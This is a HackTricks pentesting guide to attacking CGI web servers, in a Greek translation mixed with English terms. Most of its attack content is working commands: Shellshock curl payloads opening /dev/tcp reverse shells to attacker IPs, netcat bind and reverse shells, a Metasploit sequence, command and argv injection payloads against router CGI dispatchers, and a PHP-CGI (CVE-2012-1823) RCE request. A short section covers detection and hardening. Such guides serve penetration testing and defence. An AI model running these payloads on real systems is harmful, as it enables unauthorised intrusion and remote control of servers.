CGI Pentesting

Reading time: 6 minutes

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Information

Οι CGI scripts are perl scripts, επομένως, αν έχετε παραβιάσει έναν διακομιστή που μπορεί να εκτελεί .cgi scripts μπορείτε να upload a perl reverse shell (/usr/share/webshells/perl/perl-reverse-shell.pl), να change the extension από .pl σε .cgi, να δώσετε execute permissions (chmod +x) και να access το reverse shell from the web browser για να το εκτελέσετε. Για να δοκιμάσετε για CGI vulns συνιστάται να χρησιμοποιήσετε nikto -C all (και όλα τα plugins)

ShellShock

Το ShellShock είναι μια ευπάθεια που επηρεάζει το ευρέως χρησιμοποιούμενο κέλυφος εντολών Bash σε λειτουργικά συστήματα βασισμένα σε Unix. Στοχεύει την ικανότητα της Bash να εκτελεί εντολές που της περνάνε εφαρμογές. Η ευπάθεια εντοπίζεται στη χειραγώγηση των μεταβλητών περιβάλλοντος, οι οποίες είναι δυναμικά ονομασμένες τιμές που επηρεάζουν το πώς τρέχουν οι διεργασίες σε έναν υπολογιστή. Οι επιτιθέμενοι μπορούν να εκμεταλλευτούν αυτό προσαρτώντας malicious code σε μεταβλητές περιβάλλοντος, το οποίο εκτελείται όταν η μεταβλητή ληφθεί. Αυτό μπορεί να επιτρέψει σε επιτιθέμενους να παραβιάσουν το σύστημα.

Εκμεταλλευόμενη αυτή την ευπάθεια, η σελίδα μπορεί να εμφανίσει σφάλμα.

Μπορείτε να βρείτε αυτή την ευπάθεια παρατηρώντας ότι χρησιμοποιεί μια παλιά έκδοση του Apache και cgi_mod (με φάκελο cgi) ή χρησιμοποιώντας nikto.

Δοκιμή

Οι περισσότερες δοκιμές βασίζονται στο να echo-άρετε κάτι και να αναμένετε ότι αυτή η συμβολοσειρά θα επιστραφεί στην απάντηση του web. Εάν νομίζετε ότι μια σελίδα μπορεί να είναι ευάλωτη, εντοπίστε όλες τις cgi σελίδες και δοκιμάστε τις.

Nmap

bash
nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi

Curl (ανακλώμενο, τυφλό και εκτός-ζώνης)

bash
# Reflected
curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE'
# Blind with sleep (you could also make a ping or web request to yourself and monitor that oth tcpdump)
curl -H 'User-Agent: () { :; }; /bin/bash -c "sleep 5"' http://10.11.2.12/cgi-bin/admin.cgi
# Out-Of-Band Use Cookie as alternative to User-Agent
curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.10.10/4242 0>&1' http://10.10.10.10/cgi-bin/user.sh

Shellsocker

bash
python shellshocker.py http://10.11.1.71/cgi-bin/admin.cgi

Εκμετάλλευση

bash
#Bind Shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 8
#Reverse shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.159.1 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 80
#Reverse shell using curl
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' http://10.1.2.11/cgi-bin/admin.cgi
#Reverse shell using metasploit
> use multi/http/apache_mod_cgi_bash_env_exec
> set targeturi /cgi-bin/admin.cgi
> set rhosts 10.1.2.11
> run

Κεντρικοί CGI dispatchers (single endpoint routing via selector parameters)

Πολλά embedded web UIs διαχειρίζονται δεκάδες privileged actions πίσω από ένα μόνο CGI endpoint (για παράδειγμα, /cgi-bin/cstecgi.cgi) και χρησιμοποιούν έναν selector parameter όπως topicurl=<handler> για να δρομολογήσουν το αίτημα σε μια εσωτερική λειτουργία.

Methodology to exploit these routers:

  • Εντοπίστε handler names: scrape JS/HTML, brute-force with wordlists, or unpack firmware and grep for handler strings used by the dispatcher.
  • Test unauthenticated reachability: μερικοί handlers ξεχνούν τα auth checks και είναι απευθείας callable.
  • Επικεντρωθείτε σε handlers που invoke system utilities ή touch files· αδύναμοι validators συχνά μπλοκάρουν μόνο λίγους χαρακτήρες και μπορεί να παραβλέψουν το leading hyphen -.

Generic exploit shapes:

http
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Content-Type: application/x-www-form-urlencoded

# 1) Option/flag injection (no shell metacharacters): flip argv of downstream tools
topicurl=<handler>&param=-n

# 2) Parameter-to-shell injection (classic RCE) when a handler concatenates into a shell
topicurl=setEasyMeshAgentCfg&agentName=;id;

# 3) Validator bypass → arbitrary file write in file-touching handlers
topicurl=setWizardCfg&<crafted_fields>=/etc/init.d/S99rc

Ανίχνευση και θωράκιση:

  • Πρόσεχε μη αυθεντικοποιημένα αιτήματα προς κεντρικά CGI endpoints με topicurl ρυθμισμένο σε ευαίσθητους handlers.
  • Επισήμανε παραμέτρους που ξεκινούν με - (προσπάθειες argv option injection).
  • Προμηθευτές: επιβάλετε αυθεντικοποίηση σε όλους τους state-changing handlers, επικυρώστε χρησιμοποιώντας αυστηρές allowlists/τύπους/μήκη, και μην περνάτε ποτέ user-controlled strings ως command-line flags.

Old PHP + CGI = RCE (CVE-2012-1823, CVE-2012-2311)

Βασικά, εάν cgi είναι ενεργό και php είναι "παλιό" (<5.3.12 / < 5.4.2) μπορείτε να εκτελέσετε κώδικα. Για να εκμεταλλευτείτε αυτήν την ευπάθεια πρέπει να αποκτήσετε πρόσβαση σε κάποιο PHP αρχείο του web server χωρίς να στείλετε παραμέτρους (ειδικά χωρίς να στείλετε τον χαρακτήρα "="). Στη συνέχεια, για να δοκιμάσετε αυτή την ευπάθεια, μπορείτε να προσπελάσετε για παράδειγμα /index.php?-s (προσέξτε το -s) και ο πηγαίος κώδικας της εφαρμογής θα εμφανιστεί στην απάντηση.

Στη συνέχεια, για να αποκτήσετε RCE μπορείτε να στείλετε το ειδικό query: /?-d allow_url_include=1 -d auto_prepend_file=php://input και ο PHP κώδικας να εκτελεστεί στο σώμα του αιτήματος. Παράδειγμα:

bash
curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"

Περισσότερες πληροφορίες σχετικά με το vuln και πιθανές exploits: https://www.zero-day.cz/database/337/, cve-2012-1823, cve-2012-2311, CTF Writeup Example.

Proxy (MitM to Web server requests)

Το CGI δημιουργεί μια μεταβλητή περιβάλλοντος για κάθε header στο HTTP request. Για παράδειγμα: "host:web.com" δημιουργείται ως "HTTP_HOST"="web.com"

Εφόσον η μεταβλητή HTTP_PROXY μπορεί να χρησιμοποιηθεί από τον web server, δοκιμάστε να στείλετε ένα header που περιέχει: "Proxy: <IP_attacker>:<PORT>" — αν ο server πραγματοποιήσει κάποιο request κατά τη διάρκεια της συνεδρίας, θα μπορέσετε να καταγράψετε κάθε request που κάνει ο server.

References

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks